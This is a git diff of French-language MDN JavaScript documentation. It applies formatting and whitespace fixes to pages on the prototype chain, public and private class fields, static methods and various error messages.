diff --git a/files/fr/web/javascript/inheritance_and_the_prototype_chain/index.md b/files/fr/web/javascript/inheritance_and_the_prototype_chain/index.md index 160e5aa03e..14638e562d 100644 --- a/files/fr/web/javascript/inheritance_and_the_prototype_chain/index.md +++ b/files/fr/web/javascript/inheritance_and_the_prototype_chain/index.md @@ -211,7 +211,7 @@ Comme nous l'avons vu avant, la valeur de `__proto__` pour `uneInstance` est `fa Si `uneInstance` ne possède pas cette propriété, le moteur contrôlera la propriété sur la propriété `__proto__` de `uneInstance` (c'est-à-dire `faireUnTruc.prototype`). Si la propriété `__proto__` de `uneInstance` possède la propriété qu'on recherche, ce sera celle-ci qui sera utilisée. -Si `__proto__` de `unTruc` ne possède pas la propriété recherchée, le moteur contrôle la propriété `__proto__` de la propriété `__proto__` de `uneInstance`. Par défaut, la propriété `__proto__` de n'importe quel propriété `prototype`d'une fonction est `window.Object.prototype`. Ainsi, la propriété `__proto__` de la propriété `__proto__` de `uneInstance` (c'est-à-dire `__proto__` de `faireUnTruc.prototype` (c'est-à-dire. `Object.prototype`)) est contrôlée pour vérifier si la propriété y est présente. +Si `__proto__` de `unTruc` ne possède pas la propriété recherchée, le moteur contrôle la propriété `__proto__` de la propriété `__proto__` de `uneInstance`. Par défaut, la propriété `__proto__` de n'importe quel propriété `prototype`d'une fonction est `window.Object.prototype`. Ainsi, la propriété `__proto__` de la propriété `__proto__` de `uneInstance` (c'est-à-dire `__proto__` de `faireUnTruc.prototype` (c'est-à-dire. `Object.prototype`)) est contrôlée pour vérifier si la propriété y est présente. Si la propriété n'est pas trouvée sur la propriété `__proto__` de la propriété `__proto__` de `uneInstance`, c'est la proriété `__proto__` de la propriété `__proto__` de la propriété `__proto__` de `uneInstance` qui est contrôlée. Cependant il y a un problème car la propriété `__proto__` de la propriété `__proto__` de la propriété `__proto__` de `unTruc` n'existe pas. Autrement dit, toute la chaîne de prototype a été parcouru et on ne peut pas remonter d'un cran sur un autre `__proto__` et le moteur peut conclure que la propriété n'existe pas pour cet objet et renvoyer `undefined`. @@ -611,7 +611,7 @@ console.log(inst.truc_prop)</pre JavaScript peut prêter à confusion pour les développeurs utilisant Java ou C++. JavaScript est un langage dynamique et les structures peuvent évoluer lors de l'exécution. -Vous avez peut-être remarqué que la fonction `A` possède une propriété spéciale intitulée `prototype`. Cette propriété spéciale fonctionne avec l'opérateur `new` Elle permet de copier la référence l'objet prototype sur la propriété interne `[[Prototype]]` de la nouvelle instance créée. Ainsi, avec `var a1 = new A()`, Le moteur JavaScript définira `a1.[[Prototype]] = A.prototype`. Quand on tente d'accéder à une des propriétés de l'instance, JavaScript vérifie la présence sur l'instance puis analyse son prototype `[[Prototype]]`. Cela signifie que tout ce qui est défini sur `prototype` est effectivement partagé par l'ensemble des instances et on peut même modifier `prototype` en cours de route afin de modifier indirectement l'ensemble des instances. +Vous avez peut-être remarqué que la fonction `A` possède une propriété spéciale intitulée `prototype`. Cette propriété spéciale fonctionne avec l'opérateur `new` Elle permet de copier la référence l'objet prototype sur la propriété interne `[[Prototype]]` de la nouvelle instance créée. Ainsi, avec `var a1 = new A()`, Le moteur JavaScript définira `a1.[[Prototype]] = A.prototype`. Quand on tente d'accéder à une des propriétés de l'instance, JavaScript vérifie la présence sur l'instance puis analyse son prototype `[[Prototype]]`. Cela signifie que tout ce qui est défini sur `prototype` est effectivement partagé par l'ensemble des instances et on peut même modifier `prototype` en cours de route afin de modifier indirectement l'ensemble des instances. Dans l'exemple précédent, si on avait eu `var a1 = new A(); var a2 = new A();` alors `a1.faireUnTruc` aurait fait référence à `Object.getPrototypeOf(a1).faireUntruc` qui est identique à `A.prototype.faireUnTruc`. Autrement dit `Object.getPrototypeOf(a1).faireUnTruc == Object.getPrototypeOf(a2).faireUnTruc == A.prototype.faireUnTruc`. diff --git a/files/fr/web/javascript/language_resources/index.md b/files/fr/web/javascript/language_resources/index.md index 0ef1ae3fb7..1246cf9f14 100644 --- a/files/fr/web/javascript/language_resources/index.md +++ b/files/fr/web/javascript/language_resources/index.md @@ -38,7 +38,7 @@ translation_of: Web/JavaScript/Language_Resources >, <a href="http://ecma-international.org/ecma-262/9.0/index.html#Title" >HTML</a - >, <br /><a href="https://tc39.github.io/ecma262/" + >, <br /><a href="https://tc39.github.io/ecma262/" >Brouillon de travail</a >, <a href="https://github.com/tc39/ecma262">dépôt</a> </td> diff --git a/files/fr/web/javascript/reference/classes/index.md b/files/fr/web/javascript/reference/classes/index.md index 2808bc1d39..8fbdf65b9e 100644 --- a/files/fr/web/javascript/reference/classes/index.md +++ b/files/fr/web/javascript/reference/classes/index.md @@ -19,7 +19,7 @@ En réalité, les classes sont juste des [fonctions](/fr/docs/Web/JavaScript/Ref ### Les déclarations de classes -Pour utiliser une déclaration de classe simple, on utilisera le mot-clé `class`, suivi par le nom de la classe que l'on déclare (ici « Rectangle »). +Pour utiliser une déclaration de classe simple, on utilisera le mot-clé `class`, suivi par le nom de la classe que l'on déclare (ici « Rectangle »). ```js class Rectangle { diff --git a/files/fr/web/javascript/reference/classes/private_class_fields/index.md b/files/fr/web/javascript/reference/classes/private_class_fields/index.md index 45ad084074..7b6a0b1d73 100644 --- a/files/fr/web/javascript/reference/classes/private_class_fields/index.md +++ b/files/fr/web/javascript/reference/classes/private_class_fields/index.md @@ -35,12 +35,12 @@ La limitation des variables statiques ne pouvant être appelées que par des mé ```js class ClassWithPrivateStaticField { - static #PRIVATE_STATIC_FIELD + static #PRIVATE_STATIC_FIELD - static publicStaticMethod() { - ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD = 42 - return ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD - } + static publicStaticMethod() { + ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD = 42 + return ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD + } } console.assert(ClassWithPrivateStaticField.publicStaticMethod() === 42) @@ -54,12 +54,12 @@ Ceci peut conduire à un comportement inattendu lors de l'utilisation de **`this ```js class BaseClassWithPrivateStaticField { - static #PRIVATE_STATIC_FIELD + static #PRIVATE_STATIC_FIELD - static basePublicStaticMethod() { - this.#PRIVATE_STATIC_FIELD = 42 - return this.#PRIVATE_STATIC_FIELD - } + static basePublicStaticMethod() { + this.#PRIVATE_STATIC_FIELD = 42 + return this.#PRIVATE_STATIC_FIELD + } } class SubClass extends BaseClassWithPrivateStaticField { } @@ -75,18 +75,18 @@ console.assert(error instanceof TypeError) ### Champs d'instance privés -Les champs d'instance privés sont déclarés avec des **noms** à **#** (prononcés "_noms à hash_", "_hash names_" en anglais), qui sont des identifieurs préfixés par `#`. Le `#` fait partie du nom lui-même. Il est utilisé tant pour la déclaration que pour l'accès. +Les champs d'instance privés sont déclarés avec des **noms** à **#** (prononcés "_noms à hash_", "_hash names_" en anglais), qui sont des identifieurs préfixés par `#`. Le `#` fait partie du nom lui-même. Il est utilisé tant pour la déclaration que pour l'accès. L'encapsulation est forcée par le langage. C'est une erreur de syntaxe que de faire référence aux noms à `#` en dehors de leur portée. ```js class ClassWithPrivateField { - #privateField + #privateField - constructor() { - this.#privateField = 42 - this.#randomField = 666 // Erreur de syntaxe - } + constructor() { + this.#privateField = 42 + this.#randomField = 666 // Erreur de syntaxe + } } const instance = new ClassWithPrivateField() @@ -103,17 +103,17 @@ Les méthodes statiques privées peuvent être des fonctions génératrices, asy ```js class ClassWithPrivateStaticMethod { - static #privateStaticMethod() { - return 42 - } + static #privateStaticMethod() { + return 42 + } - static publicStaticMethod1() { - return ClassWithPrivateStaticMethod.#privateStaticMethod(); - } + static publicStaticMethod1() { + return ClassWithPrivateStaticMethod.#privateStaticMethod(); + } - static publicStaticMethod2() { - return this.#privateStaticMethod(); - } + static publicStaticMethod2() { + return this.#privateStaticMethod(); + } } console.assert(ClassWithPrivateStaticMethod.publicStaticMethod1() === 42); @@ -124,15 +124,15 @@ Cela peut conduire à un comportement inattendu lors de l'utilisation de **`this ```js class Base { - static #privateStaticMethod() { - return 42; - } - static publicStaticMethod1() { - return Base.#privateStaticMethod(); - } - static publicStaticMethod2() { - return this.#privateStaticMethod(); - } + static #privateStaticMethod() { + return 42; + } + static publicStaticMethod1() { + return Base.#privateStaticMethod(); + } + static publicStaticMethod2() { + return this.#privateStaticMethod(); + } } class Derived extends Base {} @@ -147,41 +147,41 @@ Les méthodes d'instance privées sont des méthodes disponibles dans les instan ```js class ClassWithPrivateMethod { - #privateMethod() { - return 'hello world' - } + #privateMethod() { + return 'hello world' + } - getPrivateMessage() { - return this.#privateMethod() - } + getPrivateMessage() { + return this.#privateMethod() + } } const instance = new ClassWithPrivateMethod() console.log(instance.getPrivateMessage()) -// expected output: "hello world" +// expected output: "hello world" ``` Les méthodes d'instance privées peuvent être des fonctions génératrices, asynchones ou génératrices asynchrones. Des accesseurs (getters) et des mutateurs (setters) privés sont aussi posibles : ```js class ClassWithPrivateAccessor { - #message - - get #decoratedMessage() { - return `✨${this.#message}✨` - } - set #decoratedMessage(msg) { - this.#message = msg - } - - constructor() { - this.#decoratedMessage = 'hello world' - console.log(this.#decoratedMessage) - } + #message + + get #decoratedMessage() { + return `✨${this.#message}✨` + } + set #decoratedMessage(msg) { + this.#message = msg + } + + constructor() { + this.#decoratedMessage = 'hello world' + console.log(this.#decoratedMessage) + } } new ClassWithPrivateAccessor(); -// expected output: "✨hello world✨" +// expected output: "✨hello world✨" ``` ## Spécifications diff --git a/files/fr/web/javascript/reference/classes/public_class_fields/index.md b/files/fr/web/javascript/reference/classes/public_class_fields/index.md index 8630e5e473..9cf3f20d20 100644 --- a/files/fr/web/javascript/reference/classes/public_class_fields/index.md +++ b/files/fr/web/javascript/reference/classes/public_class_fields/index.md @@ -14,14 +14,14 @@ original_slug: Web/JavaScript/Reference/Classes/Class_fields > > Les déclarations de champs, tant publics que privés, sont [une fonctionnalité expérimentale (étape 3)](https://github.com/tc39/proposal-class-fields) proposée au [TC39](https://tc39.github.io/beta/), le comité des standards JavaScript. > -> La prise en charge dans les navigateurs est limitée, mais cette fonctionnalité peut être utilisée à travers une étape de contruction avec des systèmes tels que [Babel](https://babeljs.io/). Voir [l'information de compatibilité](/fr/docs/Web/JavaScript/Reference/Classes/Class_fields$edit#Browser_compatibility) ci-dessous. +> La prise en charge dans les navigateurs est limitée, mais cette fonctionnalité peut être utilisée à travers une étape de contruction avec des systèmes tels que [Babel](https://babeljs.io/). Voir [l'information de compatibilité](/fr/docs/Web/JavaScript/Reference/Classes/Class_fields$edit#Browser_compatibility) ci-dessous. Les champs publics, tant statiques que d'instance, sont des propriétés qui peuvent être écrites, et qui sont énumérables et configurables. En tant que telles, à la différence de leurs contreparties privées, elles participent à l'héritage du prototype. ## Syntaxe class ClasseAvecChampDInstance { - champDInstance = 'champ d\'instance' + champDInstance = 'champ d\'instance' } class ClasseAvecChampStatique { @@ -29,9 +29,9 @@ Les champs publics, tant statiques que d'instance, sont des propriétés qui peu } class ClasseAvecMethodeDInstancePublique { - methodePublique() { - return 'hello world' - } + methodePublique() { + return 'hello world' + } } ## Exemples @@ -44,18 +44,18 @@ Les champs statiques publics sont déclarés en utilisant le mot-clé `static`. ```js class ClasseAvecChampStatique { - static champStatique = 'champ statique' + static champStatique = 'champ statique' } console.log(ClasseAvecChampStatique.champStatique) -// affichage attendu : "champ statique" +// affichage attendu : "champ statique" ``` Les champs sans initialiseur sont initialisés à `undefined`. ```js class ClasseAvecChampStatique { - static champStatique + static champStatique } console.assert(ClasseAvecChampStatique.hasOwnProperty('champStatique')) @@ -67,11 +67,11 @@ Les champs statiques publics ne sont pas réinitialisés dans les sous-classes, ```js class ClasseAvecChampStatique { - static champStatiqueDeBase = 'champ de base' + static champStatiqueDeBase = 'champ de base' } class SousClasseAvecChampStatique extends ClasseAvecChampStatique { - static sousChampStatique = 'champ de la sous-classe' + static sousChampStatique = 'champ de la sous-classe' } console.log(SousClasseAvecChampStatique.sousChampStatique) @@ -85,14 +85,14 @@ Lors de l'initialisation des champs, `this` fait référence au constructeur de ```js class ClasseAvecChampStatique { - static champStatiqueDeBase = 'champ statique de base' - static autreChampStatiqueDeBase = this.champStatiqueDeBase + static champStatiqueDeBase = 'champ statique de base' + static autreChampStatiqueDeBase = this.champStatiqueDeBase - static methodeStatiqueDeBase() { return 'affichage de la méthode statique de base' } + static methodeStatiqueDeBase() { return 'affichage de la méthode statique de base' } } class SousClasseAvecChampStatique extends ClasseAvecChampStatique { - static sousChampStatique = super.methodeStatiqueDeBase() + static sousChampStatique = super.methodeStatiqueDeBase() } console.log(ClasseAvecChampStatique.autreChampStatiqueDeBase) @@ -122,7 +122,7 @@ Les champs sans initialiseur sont initialisés à `undefined`. ```js class ClasseAvecChampDInstance { - champdDInstance + champdDInstance } const instance = new ClasseAvecChampDInstance() @@ -137,7 +137,7 @@ console.log(instance.champDInstance); const PREFIXE = 'prefixe'; class ClasseAvecNomDeChampCalcule { - [`${PREFIXE}Champ`] = 'champ préfixé' + [`${PREFIXE}Champ`] = 'champ préfixé' } const instance = new ClasseAvecNomDeChampCalcule() @@ -149,13 +149,13 @@ Lors de l'initialisation des champs, `this` fait référence à l'instance en co ```js class ClasseAvecChampDInstance { - champDInstanceDeBase = 'champ de base' - autreChampDInstanceDeBase = this.champDInstanceDeBase - methodeDInstanceDeBase() { return 'affichage de la méthode de base' } + champDInstanceDeBase = 'champ de base' + autreChampDInstanceDeBase = this.champDInstanceDeBase + methodeDInstanceDeBase() { return 'affichage de la méthode de base' } } class SousClasseAvecChampDInstance extends ClasseAvecChampDInstance { - sousChampDInstance = super.methodeDInstanceDeBase() + sousChampDInstance = super.methodeDInstanceDeBase() } const base = new ClasseAvecChampDInstance() @@ -200,7 +200,7 @@ class ClasseAvecMethodeDInstancePublique { const instance = new ClasseAvecMethodeDInstancePublique() console.log(instance.methodePublique()) -// affichage attendu : "hello world" +// affichage attendu : "hello world" ``` Les méthodes d'instance publiques sont ajoutées au prototype au moment de l'évaluation de la classe en utilisant {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}}. Elles peuvent être écrites, ne sont pas énumérables et sont configurables. @@ -219,39 +219,39 @@ A l'intérieur des méthodes d'instance, `this` fait référence à l'instance e ```js class ClasseDeBase { - msg = 'hello world' - methodePubliqueDeBase() { - return this.msg - } + msg = 'hello world' + methodePubliqueDeBase() { + return this.msg + } } class SousClasse extends ClasseDeBase { - sousMethodePublique() { - return super.methodePubliqueDeBase() - } + sousMethodePublique() { + return super.methodePubliqueDeBase() + } } const instance = new SousClasse() console.log(instance.sousMethodePublique()) -// affichage attendu : "hello world" +// affichage attendu : "hello world" ``` Les accesseurs et les mutateurs sont des méthodes spéciales qui sont liées à une propriété de classe, et sont appelées lorsqu'on accède à cette propriété ou qu'on la définit. Utilisez la syntaxe [get](https://developer.mozilla.org/fr-FR/docs/Web/JavaScript/Reference/Functions/get) et [set](https://developer.mozilla.org/fr-FR/docs/Web/JavaScript/Reference/Functions/set) pour déclarer un accesseur ou un mutateur publique d'une instance. ```js class ClasseAvecGetSet { - #msg = 'hello world' - get msg() { - return this.#msg - } - set msg(x) { - this.#msg = `hello ${x}` - } + #msg = 'hello world' + get msg() { + return this.#msg + } + set msg(x) { + this.#msg = `hello ${x}` + } } const instance = new ClasseAvecGetSet(); console.log(instance.msg); -// affichage attendu : "hello world" +// affichage attendu : "hello world" instance.msg = 'gâteau'; console.log(instance.msg); diff --git a/files/fr/web/javascript/reference/classes/static/index.md b/files/fr/web/javascript/reference/classes/static/index.md index f08b2b5a94..7637ced784 100644 --- a/files/fr/web/javascript/reference/classes/static/index.md +++ b/files/fr/web/javascript/reference/classes/static/index.md @@ -77,7 +77,7 @@ StaticMethodCall.anotherStaticMethod(); ### Depuis les constructeurs de classes et les autres méthodes -Les méthodes statiques ne sont pas directement accessibles via le mot-clé [`this`](/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_this). Il faut les appeler avec le nom de la classe qui préfixe le nom de la méthode statique `NomDeClasse.MéthodeStatique()` (comme pour les autres appels en dehors de la classe) ou avec la propriété `constructor` : `this.constructor.MéthodeStatique()`. +Les méthodes statiques ne sont pas directement accessibles via le mot-clé [`this`](/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_this). Il faut les appeler avec le nom de la classe qui préfixe le nom de la méthode statique `NomDeClasse.MéthodeStatique()` (comme pour les autres appels en dehors de la classe) ou avec la propriété `constructor` : `this.constructor.MéthodeStatique()`. ```js class StaticMethodCall{ @@ -89,7 +89,7 @@ class StaticMethodCall{ // 'appel de la méthode statique' } - static staticMethod(){ + static staticMethod(){ return 'appel de la méthode statique.'; } } @@ -100,7 +100,7 @@ class StaticMethodCall{ | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-class-definitions', 'Class definitions')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/errors/bad_return_or_yield/index.md b/files/fr/web/javascript/reference/errors/bad_return_or_yield/index.md index f50090e6ec..a31b1b95c4 100644 --- a/files/fr/web/javascript/reference/errors/bad_return_or_yield/index.md +++ b/files/fr/web/javascript/reference/errors/bad_return_or_yield/index.md @@ -40,7 +40,7 @@ var encouragement = function(score) { // SyntaxError: return not in function ``` -À première vue, les accolades semblent correctes mais en regardant de plus près, on voit qu'il manque une accolade ouvrante ("{") après la première instruction `if`. La version correcte serait : +À première vue, les accolades semblent correctes mais en regardant de plus près, on voit qu'il manque une accolade ouvrante ("{") après la première instruction `if`. La version correcte serait : ```js example-good var encouragement = function(score) { diff --git a/files/fr/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.md b/files/fr/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.md index 351754cba4..925b83954a 100644 --- a/files/fr/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.md +++ b/files/fr/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.md @@ -23,7 +23,7 @@ original_slug: Web/JavaScript/Reference/Erreurs/Cant_access_lexical_declaration_ ## Quel est le problème ? -Il y a eu un accès à une variable déclarée avec `let` ou `const` avant que celle-ci ait été initialisée. Cela peut se produire dans n'importe quelle instruction de bloc avec une variable déclarée avec `let` ou `const` et qui est utilisée avant son initialisation. +Il y a eu un accès à une variable déclarée avec `let` ou `const` avant que celle-ci ait été initialisée. Cela peut se produire dans n'importe quelle instruction de bloc avec une variable déclarée avec `let` ou `const` et qui est utilisée avant son initialisation. ## Exemple diff --git a/files/fr/web/javascript/reference/errors/cant_define_property_object_not_extensible/index.md b/files/fr/web/javascript/reference/errors/cant_define_property_object_not_extensible/index.md index 8849cda16d..692afd4743 100644 --- a/files/fr/web/javascript/reference/errors/cant_define_property_object_not_extensible/index.md +++ b/files/fr/web/javascript/reference/errors/cant_define_property_object_not_extensible/index.md @@ -22,7 +22,7 @@ original_slug: Web/JavaScript/Reference/Erreurs/Cant_define_property_object_not_ ## Quel est le problème ? -La plupart du temps, un objet est extensible, ce qui signifie qu'on peut lui ajouter de nouvelles propriétés. Cependant, dans ce cas, on a utilisé la méthode {{jsxref("Object.preventExtensions()")}} afin de marquer l'objet comme non-extensible. Celui-ci ne pourra donc pas recevoir de nouvelles propriétés en plus de celles dont il dispose déjà. +La plupart du temps, un objet est extensible, ce qui signifie qu'on peut lui ajouter de nouvelles propriétés. Cependant, dans ce cas, on a utilisé la méthode {{jsxref("Object.preventExtensions()")}} afin de marquer l'objet comme non-extensible. Celui-ci ne pourra donc pas recevoir de nouvelles propriétés en plus de celles dont il dispose déjà. ## Exemples diff --git a/files/fr/web/javascript/reference/errors/cant_delete/index.md b/files/fr/web/javascript/reference/errors/cant_delete/index.md index c2e807eecf..0565d5a0e5 100644 --- a/files/fr/web/javascript/reference/errors/cant_delete/index.md +++ b/files/fr/web/javascript/reference/errors/cant_delete/index.md @@ -29,7 +29,7 @@ Cette erreur ne se produit qu'en [mode strict](/fr/docs/Web/JavaScript/Reference ## Exemples -Les propriétés non-configurables ne sont pas très fréquentes mais il est possible d'en créer grâce à {{jsxref("Object.defineProperty()")}} ou à {{jsxref("Object.freeze()")}}. +Les propriétés non-configurables ne sont pas très fréquentes mais il est possible d'en créer grâce à {{jsxref("Object.defineProperty()")}} ou à {{jsxref("Object.freeze()")}}. ```js example-bad "use strict"; diff --git a/files/fr/web/javascript/reference/errors/deprecated_caller_or_arguments_usage/index.md b/files/fr/web/javascript/reference/errors/deprecated_caller_or_arguments_usage/index.md index d9aba3fe1e..894d070154 100644 --- a/files/fr/web/javascript/reference/errors/deprecated_caller_or_arguments_usage/index.md +++ b/files/fr/web/javascript/reference/errors/deprecated_caller_or_arguments_usage/index.md @@ -35,11 +35,11 @@ Un avertissement uniquement affiché en mode strict qui prend la forme d'une {{j "use strict"; function myFunc() { - if (myFunc.caller == null) { - return 'La fonction a été appelée depuis la portée globale !'; - } else { - return 'L\'appelant est ' + myFunc.caller; - } + if (myFunc.caller == null) { + return 'La fonction a été appelée depuis la portée globale !'; + } else { + return 'L\'appelant est ' + myFunc.caller; + } } myFunc(); diff --git a/files/fr/web/javascript/reference/errors/deprecated_tolocaleformat/index.md b/files/fr/web/javascript/reference/errors/deprecated_tolocaleformat/index.md index 362fb57677..8eee8c5490 100644 --- a/files/fr/web/javascript/reference/errors/deprecated_tolocaleformat/index.md +++ b/files/fr/web/javascript/reference/errors/deprecated_tolocaleformat/index.md @@ -39,7 +39,7 @@ console.log(date); ### Utiliser une syntaxe standard grâce à l'API ECMAScript Intl -Le standard ECMA-402 (l'API ECMAScript Intl) définit des objets et méthodes standards qui permettent de mettre en forme des dates et heures (disponible à partir de Chrome 24, de Firefox 29, d'IE11 et de Safari10). +Le standard ECMA-402 (l'API ECMAScript Intl) définit des objets et méthodes standards qui permettent de mettre en forme des dates et heures (disponible à partir de Chrome 24, de Firefox 29, d'IE11 et de Safari10). Si on souhaite uniquement formater une date, on pourra utiliser la méthode {{jsxref("Date.prototype.toLocaleDateString")}}. diff --git a/files/fr/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.md b/files/fr/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.md index 7d1e4dc118..0ec946b4c2 100644 --- a/files/fr/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.md +++ b/files/fr/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.md @@ -19,7 +19,7 @@ Avertissement. ## Quel est le problème ? -L'instruction {{jsxref("Instructions/for_each...in", "for each (variable in obj)")}} présente à partir de JavaScript 1.6 est une instruction dépréciée et est amenée à disparaître dans un avenir proche. +L'instruction {{jsxref("Instructions/for_each...in", "for each (variable in obj)")}} présente à partir de JavaScript 1.6 est une instruction dépréciée et est amenée à disparaître dans un avenir proche. ## Exemples diff --git a/files/fr/web/javascript/reference/errors/illegal_character/index.md b/files/fr/web/javascript/reference/errors/illegal_character/index.md index d1da414713..0a96f45df1 100644 --- a/files/fr/web/javascript/reference/errors/illegal_character/index.md +++ b/files/fr/web/javascript/reference/errors/illegal_character/index.md @@ -74,14 +74,14 @@ var couleurs = ['#000', '#333', '#666']; Lorsque vous copiez/collez du code depuis des sources externes, celles-ci peuvent contenir des caractères invalides difficiles à discerner. ```js example-bad -var toto = 'truc'; +var toto = 'truc'; // SyntaxError: illegal character ``` Lorsqu'on inspecte ce code grâce à un éditeur de texte (par exemple Vim), on peut voir qu'il y en fait un [espace sans chasse (ZWSP) (U+200B)](https://fr.wikipedia.org/wiki/Espace_sans_chasse). ```js -var toto = 'truc';<200b> +var toto = 'truc';<200b> ``` ## Voir aussi diff --git a/files/fr/web/javascript/reference/errors/is_not_iterable/index.md b/files/fr/web/javascript/reference/errors/is_not_iterable/index.md index 800de07226..ec4a1251f8 100644 --- a/files/fr/web/javascript/reference/errors/is_not_iterable/index.md +++ b/files/fr/web/javascript/reference/errors/is_not_iterable/index.md @@ -22,7 +22,7 @@ original_slug: Web/JavaScript/Reference/Erreurs/is_not_iterable ## Quel est le problème ? -La valeur passée comme opérande droit de [`for…of`](/fr/docs/Web/JavaScript/Reference/Instructions/for...of) ou comme argument d'une fonction telle que {{jsxref("Promise.all")}} ou {{jsxref("TypedArray.from")}} n'est pas [un objet itérable](/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration). Un objet itérable peut être un objet itérable natif tel qu'un objet {{jsxref("Array")}}, {{jsxref("String")}} ou {{jsxref("Map")}} ou le résultat d'un générateur ou un objet qui implémente [le protocole itérable](/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration#Le_protocole_«_itérable_»). +La valeur passée comme opérande droit de [`for…of`](/fr/docs/Web/JavaScript/Reference/Instructions/for...of) ou comme argument d'une fonction telle que {{jsxref("Promise.all")}} ou {{jsxref("TypedArray.from")}} n'est pas [un objet itérable](/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration). Un objet itérable peut être un objet itérable natif tel qu'un objet {{jsxref("Array")}}, {{jsxref("String")}} ou {{jsxref("Map")}} ou le résultat d'un générateur ou un objet qui implémente [le protocole itérable](/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration#Le_protocole_«_itérable_»). ## Exemples diff --git a/files/fr/web/javascript/reference/errors/malformed_formal_parameter/index.md b/files/fr/web/javascript/reference/errors/malformed_formal_parameter/index.md index bc5d9e5ba0..c163302293 100644 --- a/files/fr/web/javascript/reference/errors/malformed_formal_parameter/index.md +++ b/files/fr/web/javascript/reference/errors/malformed_formal_parameter/index.md @@ -27,7 +27,7 @@ C'est cette liste d'arguments qui est, pour une certaine raison, invalide. Il s' ## OK mais pourquoi cette formulation étrange ? -En effet, "Formal parameter" est une manière étrange de dire « argument de fonction ». Le mot "malformed" (malformé) est utilisé car les ingénieurs travaillant sur Firefox engineers apprécient énormément les romans gothiques du XIXe. +En effet, "Formal parameter" est une manière étrange de dire « argument de fonction ». Le mot "malformed" (malformé) est utilisé car les ingénieurs travaillant sur Firefox engineers apprécient énormément les romans gothiques du XIXe. ## Examples diff --git a/files/fr/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.md b/files/fr/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.md index e37713d3bc..3bcbe79228 100644 --- a/files/fr/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.md +++ b/files/fr/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.md @@ -23,18 +23,18 @@ original_slug: Web/JavaScript/Reference/Erreurs/Missing_parenthesis_after_argume -Il y a une erreur avec la façon dont une fonction est appelée . Cela peut être une faute de frappe, un opérateur manquant, ou une chaîne non-échappée, par exemple . +Il y a une erreur avec la façon dont une fonction est appelée . Cela peut être une faute de frappe, un opérateur manquant, ou une chaîne non-échappée, par exemple . ## Exemple -Parce qu'il n'y a pas d'opérateur "+" pour concaténer la chaîne de caractères, JavaScript s'attend à trouver une parenthèse après "PI : ", qu'il considère comme l'argument de la fonction `log`. +Parce qu'il n'y a pas d'opérateur "+" pour concaténer la chaîne de caractères, JavaScript s'attend à trouver une parenthèse après "PI : ", qu'il considère comme l'argument de la fonction `log`. ```js example-bad console.log("PI: " Math.PI); // SyntaxError: missing ) after argument list ``` -La fonction `log` peut être corrigée en ajoutant un opérateur "+". +La fonction `log` peut être corrigée en ajoutant un opérateur "+". ```js example-good console.log("PI: " + Math.PI); diff --git a/files/fr/web/javascript/reference/errors/missing_parenthesis_after_condition/index.md b/files/fr/web/javascript/reference/errors/missing_parenthesis_after_condition/index.md index f1afdee5d9..f7f480d8b0 100644 --- a/files/fr/web/javascript/reference/errors/missing_parenthesis_after_condition/index.md +++ b/files/fr/web/javascript/reference/errors/missing_parenthesis_after_condition/index.md @@ -21,7 +21,7 @@ original_slug: Web/JavaScript/Reference/Erreurs/Missing_parenthesis_after_condit ## Quel est le problème ? -Il y a une erreur pour la condition écrite dans l'instruction [`if`](/fr/docs/Web/JavaScript/Reference/Instructions/if...else). Pour chaque langage de programmation, on utilise des instructions pour choisir quel bloc d'instructions exécuter selon les différentes entrées. L'instruction `if` permet d'exécuter une instruction si une condition donnée est vérifiée. En JavaScript, il faut que cette condition apparaisse entre parenthèses après le mot-clé `if` : +Il y a une erreur pour la condition écrite dans l'instruction [`if`](/fr/docs/Web/JavaScript/Reference/Instructions/if...else). Pour chaque langage de programmation, on utilise des instructions pour choisir quel bloc d'instructions exécuter selon les différentes entrées. L'instruction `if` permet d'exécuter une instruction si une condition donnée est vérifiée. En JavaScript, il faut que cette condition apparaisse entre parenthèses après le mot-clé `if` : ```js if (condition) { diff --git a/files/fr/web/javascript/reference/errors/non_configurable_array_element/index.md b/files/fr/web/javascript/reference/errors/non_configurable_array_element/index.md index 720a30d67c..ab0bb67b3d 100644 --- a/files/fr/web/javascript/reference/errors/non_configurable_array_element/index.md +++ b/files/fr/web/javascript/reference/errors/non_configurable_array_element/index.md @@ -30,7 +30,7 @@ La plupart du temps, les propriétés d'un objet créé avec [un littéral de ta ## Exemples -### Propriétés non-configurables créées avec `Object.defineProperty` +### Propriétés non-configurables créées avec `Object.defineProperty` Par défaut, la méthode {{jsxref("Object.defineProperty()")}} crée des propriétés non-configurables si on n'indique pas expressément le contraire : diff --git a/files/fr/web/javascript/reference/errors/not_a_function/index.md b/files/fr/web/javascript/reference/errors/not_a_function/index.md index e6b948eebe..6f292abca3 100644 --- a/files/fr/web/javascript/reference/errors/not_a_function/index.md +++ b/files/fr/web/javascript/reference/errors/not_a_function/index.md @@ -29,7 +29,7 @@ Il existe de nombreuses fonctions natives qui fonctionnent à l'aide d'une 